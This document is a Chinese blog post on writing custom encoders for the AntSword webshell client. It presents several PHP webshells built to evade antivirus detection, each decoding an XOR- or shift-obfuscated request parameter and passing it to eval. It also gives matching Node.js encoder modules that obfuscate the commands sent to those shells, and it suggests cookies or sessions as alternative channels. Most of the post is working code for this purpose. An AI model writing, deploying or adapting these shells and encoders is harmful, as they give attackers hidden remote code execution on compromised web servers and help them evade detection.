蚁剑编码器——高级

蚁剑编码器------高级

其实也没啥高级不高级的

基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可

先说语法

拿免杀篇最后两个马做演示

第一个

c 复制代码
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
c 复制代码
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}


$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);

加密解密分开写

加密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>

解密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }
    return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){
    $a = base64_decode(xorEncryptDecrypt($a, $key));
    @eval($a);
}

这里需要传输的是两个参数

c 复制代码
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];

蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key,蚁剑使用$key编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意:编码器使用的是node.js写法,写法要修改一下

固定key异或加密

c 复制代码
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
}  
let plaintext = "";  
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);  

参数替换为蚁剑特有的参数

c 复制代码
'use strict';

module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
} 
let key = 123456789; 
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}

但是这种方法需要手动在body参数里面传入参数b和内容

蚁剑编码器里给予了一种最为简单传递参数的方式,data['_'],在这个例子中只需要多加一行

data['b']=key;即可

看一下数据包

第二种

c 复制代码
<?php
function simpleTransform($str, $offset = 1) {
    $transformed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $transformed .= chr((ord($str[$i]) + $offset) % 256);
    }
    return $transformed;
}

$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}

$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

一样的步骤,加密解密分离

c 复制代码
<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);

加密

c 复制代码
module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {  
    let transformed = '';  
    for (let i = 0; i < str.length; i++) {  
        let code = str.charCodeAt(i);  
        let newCode = (code + offset) % 256;  
        transformed += String.fromCharCode(newCode);  
    }  
    return transformed;  
}  
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}

这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密

相关推荐
.豆鲨包2 小时前
【Android】MVP架构模式
android·架构
代码会说话2 小时前
i2c通讯
android·linux·嵌入式硬件·嵌入式
默|笙4 小时前
【c++】set和map的封装
android·数据库·c++
kaikaile19955 小时前
PHP计算过去一定时间段内日期范围函数
android·开发语言·php
2501_929382655 小时前
电视盒子助手开心电视助手 v8.0 删除电视内置软件 电视远程控制ADB去除电视广告
android·windows·adb·开源软件·电视盒子
太过平凡的小蚂蚁6 小时前
Kotlin 异步数据流三剑客:Flow、Channel、StateFlow 深度解析
android·kotlin
铭哥的编程日记7 小时前
【Linux】库制作与原理
android·linux·运维
fatiaozhang95277 小时前
高安版_中兴B860AV3.2M_晶晨S905L3B_安卓9_兼容uwe5621ds无线-线刷固件包
android·电脑·电视盒子·av1·刷机固件
恋猫de小郭9 小时前
深入理解 Flutter 的 PlatformView 如何在鸿蒙平台实现混合开发
android·前端·flutter
Nturmoils9 小时前
基于Rokid CXR-M SDK实现智能眼镜实时翻译应用:从零到一的完整实践
android